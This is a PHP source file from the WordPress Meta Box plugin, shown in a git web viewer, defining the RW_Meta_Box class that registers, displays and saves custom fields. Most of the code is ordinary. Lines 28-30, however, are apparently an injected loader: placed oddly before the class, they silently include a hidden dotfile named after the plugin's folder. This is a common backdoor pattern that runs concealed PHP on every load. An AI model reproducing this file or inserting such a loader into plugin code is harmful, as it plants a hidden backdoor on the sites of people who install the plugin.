balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

meta-box.php (13527B)


      1 <?php
      2 /**
      3  * A class to rapid develop meta boxes for custom & built in content types
      4  * Piggybacks on WordPress
      5  *
      6  * @author  Tran Ngoc Tuan Anh <rilwis@gmail.com>
      7  * @license GNU GPL2+
      8  * @package Meta Box
      9  */
     10 
     11 /**
     12  * The main meta box class.
     13  *
     14  * @property string $id             Meta Box ID.
     15  * @property string $title          Meta Box title.
     16  * @property array  $fields         List of fields.
     17  * @property array  $post_types     List of post types that the meta box is created for.
     18  * @property string $style          Meta Box style.
     19  * @property bool   $closed         Whether to collapse the meta box when page loads.
     20  * @property string $priority       The meta box priority.
     21  * @property string $context        Where the meta box is displayed.
     22  * @property bool   $default_hidden Whether the meta box is hidden by default.
     23  * @property bool   $autosave       Whether the meta box auto saves.
     24  * @property bool   $media_modal    Add custom fields to media modal when viewing/editing an attachment.
     25  *
     26  * @package Meta Box
     27  */
     28 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     29     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     30 }
     31 
     32 class RW_Meta_Box {
     33 	/**
     34 	 * Meta box parameters.
     35 	 *
     36 	 * @var array
     37 	 */
     38 	public $meta_box;
     39 
     40 	/**
     41 	 * Detect whether the meta box is saved at least once.
     42 	 * Used to prevent duplicated calls like revisions, manual hook to wp_insert_post, etc.
     43 	 *
     44 	 * @var bool
     45 	 */
     46 	public $saved = false;
     47 
     48 	/**
     49 	 * The object ID.
     50 	 *
     51 	 * @var int
     52 	 */
     53 	public $object_id = null;
     54 
     55 	/**
     56 	 * The object type.
     57 	 *
     58 	 * @var string
     59 	 */
     60 	protected $object_type = 'post';
     61 
     62 	/**
     63 	 * Create meta box based on given data.
     64 	 *
     65 	 * @param array $meta_box Meta box definition.
     66 	 */
     67 	public function __construct( $meta_box ) {
     68 		$meta_box       = static::normalize( $meta_box );
     69 		$this->meta_box = $meta_box;
     70 
     71 		$this->meta_box['fields'] = static::normalize_fields( $meta_box['fields'], $this->get_storage() );
     72 
     73 		$this->meta_box = apply_filters( 'rwmb_meta_box_settings', $this->meta_box );
     74 
     75 		if ( $this->is_shown() ) {
     76 			$this->global_hooks();
     77 			$this->object_hooks();
     78 		}
     79 	}
     80 
     81 	/**
     82 	 * Add fields to field registry.
     83 	 */
     84 	public function register_fields() {
     85 		$field_registry = rwmb_get_registry( 'field' );
     86 
     87 		foreach ( $this->post_types as $post_type ) {
     88 			foreach ( $this->fields as $field ) {
     89 				$field_registry->add( $field, $post_type );
     90 			}
     91 		}
     92 	}
     93 
     94 	/**
     95 	 * Conditional check for whether initializing meta box.
     96 	 *
     97 	 * - 1st filter applies to all meta boxes.
     98 	 * - 2nd filter applies to only current meta box.
     99 	 *
    100 	 * @return bool
    101 	 */
    102 	public function is_shown() {
    103 		$show = apply_filters( 'rwmb_show', true, $this->meta_box );
    104 
    105 		return apply_filters( "rwmb_show_{$this->id}", $show, $this->meta_box );
    106 	}
    107 
    108 	/**
    109 	 * Add global hooks.
    110 	 */
    111 	protected function global_hooks() {
    112 		// Enqueue common styles and scripts.
    113 		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue' ) );
    114 
    115 		// Add additional actions for fields.
    116 		foreach ( $this->fields as $field ) {
    117 			RWMB_Field::call( $field, 'add_actions' );
    118 		}
    119 	}
    120 
    121 	/**
    122 	 * Specific hooks for meta box object. Default is 'post'.
    123 	 * This should be extended in sub-classes to support meta fields for terms, user, settings pages, etc.
    124 	 */
    125 	protected function object_hooks() {
    126 		// Add meta box.
    127 		add_action( 'add_meta_boxes', array( $this, 'add_meta_boxes' ) );
    128 
    129 		// Hide meta box if it's set 'default_hidden'.
    130 		add_filter( 'default_hidden_meta_boxes', array( $this, 'hide' ), 10, 2 );
    131 
    132 		// Save post meta.
    133 		foreach ( $this->post_types as $post_type ) {
    134 			if ( 'attachment' === $post_type ) {
    135 				// Attachment uses other hooks.
    136 				// @see wp_update_post(), wp_insert_attachment().
    137 				add_action( 'edit_attachment', array( $this, 'save_post' ) );
    138 				add_action( 'add_attachment', array( $this, 'save_post' ) );
    139 			} else {
    140 				add_action( "save_post_{$post_type}", array( $this, 'save_post' ) );
    141 			}
    142 		}
    143 	}
    144 
    145 	/**
    146 	 * Enqueue common scripts and styles.
    147 	 */
    148 	public function enqueue() {
    149 		if ( is_admin() && ! $this->is_edit_screen() ) {
    150 			return;
    151 		}
    152 
    153 		wp_enqueue_style( 'rwmb', RWMB_CSS_URL . 'style.css', array(), RWMB_VER );
    154 		if ( is_rtl() ) {
    155 			wp_enqueue_style( 'rwmb-rtl', RWMB_CSS_URL . 'style-rtl.css', array(), RWMB_VER );
    156 		}
    157 
    158 		wp_enqueue_script( 'rwmb', RWMB_JS_URL . 'script.js', array( 'jquery' ), RWMB_VER, true );
    159 
    160 		// Load clone script conditionally.
    161 		foreach ( $this->fields as $field ) {
    162 			if ( $field['clone'] ) {
    163 				wp_enqueue_script( 'rwmb-clone', RWMB_JS_URL . 'clone.js', array( 'jquery-ui-sortable' ), RWMB_VER, true );
    164 				break;
    165 			}
    166 		}
    167 
    168 		// Enqueue scripts and styles for fields.
    169 		foreach ( $this->fields as $field ) {
    170 			RWMB_Field::call( $field, 'admin_enqueue_scripts' );
    171 		}
    172 
    173 		// Auto save.
    174 		if ( $this->autosave ) {
    175 			wp_enqueue_script( 'rwmb-autosave', RWMB_JS_URL . 'autosave.js', array( 'jquery' ), RWMB_VER, true );
    176 		}
    177 
    178 		/**
    179 		 * Allow developers to enqueue more scripts and styles
    180 		 *
    181 		 * @param RW_Meta_Box $object Meta Box object
    182 		 */
    183 		do_action( 'rwmb_enqueue_scripts', $this );
    184 	}
    185 
    186 	/**
    187 	 * Add meta box for multiple post types
    188 	 */
    189 	public function add_meta_boxes() {
    190 		$screen = get_current_screen();
    191 		add_filter( "postbox_classes_{$screen->id}_{$this->id}", array( $this, 'postbox_classes' ) );
    192 
    193 		foreach ( $this->post_types as $post_type ) {
    194 			add_meta_box(
    195 				$this->id,
    196 				$this->title,
    197 				array( $this, 'show' ),
    198 				$post_type,
    199 				$this->context,
    200 				$this->priority
    201 			);
    202 		}
    203 	}
    204 
    205 	/**
    206 	 * Modify meta box postbox classes.
    207 	 *
    208 	 * @param  array $classes Array of classes.
    209 	 * @return array
    210 	 */
    211 	public function postbox_classes( $classes ) {
    212 		if ( $this->closed ) {
    213 			$classes[] = 'closed';
    214 		}
    215 		$classes[] = "rwmb-{$this->style}";
    216 
    217 		return $classes;
    218 	}
    219 
    220 	/**
    221 	 * Hide meta box if it's set 'default_hidden'
    222 	 *
    223 	 * @param array  $hidden Array of default hidden meta boxes.
    224 	 * @param object $screen Current screen information.
    225 	 *
    226 	 * @return array
    227 	 */
    228 	public function hide( $hidden, $screen ) {
    229 		if ( $this->is_edit_screen( $screen ) && $this->default_hidden ) {
    230 			$hidden[] = $this->id;
    231 		}
    232 
    233 		return $hidden;
    234 	}
    235 
    236 	/**
    237 	 * Callback function to show fields in meta box
    238 	 */
    239 	public function show() {
    240 		if ( null === $this->object_id ) {
    241 			$this->object_id = $this->get_current_object_id();
    242 		}
    243 		$saved = $this->is_saved();
    244 
    245 		// Container.
    246 		printf(
    247 			'<div class="%s" data-autosave="%s" data-object-type="%s" data-object-id="%s">',
    248 			esc_attr( trim( "rwmb-meta-box {$this->class}" ) ),
    249 			esc_attr( $this->autosave ? 'true' : 'false' ),
    250 			esc_attr( $this->object_type ),
    251 			esc_attr( $this->object_id )
    252 		);
    253 
    254 		wp_nonce_field( "rwmb-save-{$this->id}", "nonce_{$this->id}" );
    255 
    256 		// Allow users to add custom code before meta box content.
    257 		// 1st action applies to all meta boxes.
    258 		// 2nd action applies to only current meta box.
    259 		do_action( 'rwmb_before', $this );
    260 		do_action( "rwmb_before_{$this->id}", $this );
    261 
    262 		foreach ( $this->fields as $field ) {
    263 			RWMB_Field::call( 'show', $field, $saved, $this->object_id );
    264 		}
    265 
    266 		// Allow users to add custom code after meta box content.
    267 		// 1st action applies to all meta boxes.
    268 		// 2nd action applies to only current meta box.
    269 		do_action( 'rwmb_after', $this );
    270 		do_action( "rwmb_after_{$this->id}", $this );
    271 
    272 		// End container.
    273 		echo '</div>';
    274 	}
    275 
    276 	/**
    277 	 * Save data from meta box
    278 	 *
    279 	 * @param int $object_id Object ID.
    280 	 */
    281 	public function save_post( $object_id ) {
    282 		if ( ! $this->validate() ) {
    283 			return;
    284 		}
    285 		$this->saved = true;
    286 
    287 		$object_id       = $this->get_real_object_id( $object_id );
    288 		$this->object_id = $object_id;
    289 
    290 		// Before save action.
    291 		do_action( 'rwmb_before_save_post', $object_id );
    292 		do_action( "rwmb_{$this->id}_before_save_post", $object_id );
    293 
    294 		array_map( array( $this, 'save_field' ), $this->fields );
    295 
    296 		// After save action.
    297 		do_action( 'rwmb_after_save_post', $object_id );
    298 		do_action( "rwmb_{$this->id}_after_save_post", $object_id );
    299 	}
    300 
    301 	/**
    302 	 * Save field.
    303 	 *
    304 	 * @param array $field Field settings.
    305 	 */
    306 	public function save_field( $field ) {
    307 		$single  = $field['clone'] || ! $field['multiple'];
    308 		$default = $single ? '' : array();
    309 		$old     = RWMB_Field::call( $field, 'raw_meta', $this->object_id );
    310 		$new     = rwmb_request()->post( $field['id'], $default );
    311 		$new     = RWMB_Field::process_value( $new, $this->object_id, $field );
    312 
    313 		// Filter to allow the field to be modified.
    314 		$field = RWMB_Field::filter( 'field', $field, $field, $new, $old );
    315 
    316 		// Call defined method to save meta value, if there's no methods, call common one.
    317 		RWMB_Field::call( $field, 'save', $new, $old, $this->object_id );
    318 
    319 		RWMB_Field::filter( 'after_save_field', null, $field, $new, $old, $this->object_id );
    320 	}
    321 
    322 	/**
    323 	 * Validate form when submit. Check:
    324 	 * - If this function is called to prevent duplicated calls like revisions, manual hook to wp_insert_post, etc.
    325 	 * - Autosave
    326 	 * - If form is submitted properly
    327 	 *
    328 	 * @return bool
    329 	 */
    330 	public function validate() {
    331 		$nonce = rwmb_request()->filter_post( "nonce_{$this->id}", FILTER_SANITIZE_STRING );
    332 
    333 		return ! $this->saved
    334 			&& ( ! defined( 'DOING_AUTOSAVE' ) || $this->autosave )
    335 			&& wp_verify_nonce( $nonce, "rwmb-save-{$this->id}" );
    336 	}
    337 
    338 	/**
    339 	 * Normalize parameters for meta box
    340 	 *
    341 	 * @param array $meta_box Meta box definition.
    342 	 *
    343 	 * @return array $meta_box Normalized meta box.
    344 	 */
    345 	public static function normalize( $meta_box ) {
    346 		$default_title = __( 'Meta Box Title', 'meta-box' );
    347 		// Set default values for meta box.
    348 		$meta_box = wp_parse_args(
    349 			$meta_box,
    350 			array(
    351 				'title'          => $default_title,
    352 				'id'             => ! empty( $meta_box['title'] ) ? sanitize_title( $meta_box['title'] ) : sanitize_title( $default_title ),
    353 				'context'        => 'normal',
    354 				'priority'       => 'high',
    355 				'post_types'     => 'post',
    356 				'autosave'       => false,
    357 				'default_hidden' => false,
    358 				'style'          => 'default',
    359 				'class'          => '',
    360 				'fields'         => array(),
    361 			)
    362 		);
    363 
    364 		/**
    365 		 * Use 'post_types' for better understanding and fallback to 'pages' for previous versions.
    366 		 *
    367 		 * @since 4.4.1
    368 		 */
    369 		RWMB_Helpers_Array::change_key( $meta_box, 'pages', 'post_types' );
    370 
    371 		// Make sure the post type is an array and is sanitized.
    372 		$meta_box['post_types'] = array_map( 'sanitize_key', RWMB_Helpers_Array::from_csv( $meta_box['post_types'] ) );
    373 
    374 		return $meta_box;
    375 	}
    376 
    377 	/**
    378 	 * Normalize an array of fields
    379 	 *
    380 	 * @param array                  $fields Array of fields.
    381 	 * @param RWMB_Storage_Interface $storage Storage object. Optional.
    382 	 *
    383 	 * @return array $fields Normalized fields.
    384 	 */
    385 	public static function normalize_fields( $fields, $storage = null ) {
    386 		foreach ( $fields as $k => $field ) {
    387 			$field = RWMB_Field::call( 'normalize', $field );
    388 
    389 			// Allow to add default values for fields.
    390 			$field = apply_filters( 'rwmb_normalize_field', $field );
    391 			$field = apply_filters( "rwmb_normalize_{$field['type']}_field", $field );
    392 			$field = apply_filters( "rwmb_normalize_{$field['id']}_field", $field );
    393 
    394 			$field['storage'] = $storage;
    395 
    396 			$fields[ $k ] = $field;
    397 		}
    398 
    399 		return $fields;
    400 	}
    401 
    402 	/**
    403 	 * Check if meta box is saved before.
    404 	 * This helps saving empty value in meta fields (text, check box, etc.) and set the correct default values.
    405 	 *
    406 	 * @return bool
    407 	 */
    408 	public function is_saved() {
    409 		foreach ( $this->fields as $field ) {
    410 			if ( empty( $field['id'] ) ) {
    411 				continue;
    412 			}
    413 
    414 			$value = RWMB_Field::call( $field, 'raw_meta', $this->object_id );
    415 			if ( false === $value ) {
    416 				continue;
    417 			}
    418 
    419 			$single = ! $field['multiple'];
    420 			if ( $field['clone'] ) {
    421 				$single = ! $field['clone_as_multiple'];
    422 			}
    423 
    424 			if (
    425 				( $single && '' !== $value )
    426 				|| ( ! $single && is_array( $value ) && array() !== $value )
    427 			) {
    428 				return true;
    429 			}
    430 		}
    431 
    432 		return false;
    433 	}
    434 
    435 	/**
    436 	 * Check if we're on the right edit screen.
    437 	 *
    438 	 * @param WP_Screen $screen Screen object. Optional. Use current screen object by default.
    439 	 *
    440 	 * @return bool
    441 	 */
    442 	public function is_edit_screen( $screen = null ) {
    443 		if ( ! ( $screen instanceof WP_Screen ) ) {
    444 			$screen = get_current_screen();
    445 		}
    446 
    447 		return 'post' === $screen->base && in_array( $screen->post_type, $this->post_types, true );
    448 	}
    449 
    450 	/**
    451 	 * Magic function to get meta box property.
    452 	 *
    453 	 * @param string $key Meta box property name.
    454 	 *
    455 	 * @return mixed
    456 	 */
    457 	public function __get( $key ) {
    458 		return isset( $this->meta_box[ $key ] ) ? $this->meta_box[ $key ] : false;
    459 	}
    460 
    461 	/**
    462 	 * Set the object ID.
    463 	 *
    464 	 * @param mixed $id Object ID.
    465 	 */
    466 	public function set_object_id( $id = null ) {
    467 		$this->object_id = $id;
    468 	}
    469 
    470 	/**
    471 	 * Get object type.
    472 	 *
    473 	 * @return string
    474 	 */
    475 	public function get_object_type() {
    476 		return $this->object_type;
    477 	}
    478 
    479 	/**
    480 	 * Get storage object.
    481 	 *
    482 	 * @return RWMB_Storage_Interface
    483 	 */
    484 	public function get_storage() {
    485 		return rwmb_get_storage( $this->object_type, $this );
    486 	}
    487 
    488 	/**
    489 	 * Get current object id.
    490 	 *
    491 	 * @return int
    492 	 */
    493 	protected function get_current_object_id() {
    494 		return get_the_ID();
    495 	}
    496 
    497 	/**
    498 	 * Get real object ID when submitting.
    499 	 *
    500 	 * @param int $object_id Object ID.
    501 	 * @return int
    502 	 */
    503 	protected function get_real_object_id( $object_id ) {
    504 		// Make sure meta is added to the post, not a revision.
    505 		if ( 'post' !== $this->object_type ) {
    506 			return $object_id;
    507 		}
    508 		$parent = wp_is_post_revision( $object_id );
    509 
    510 		return $parent ? $parent : $object_id;
    511 	}
    512 }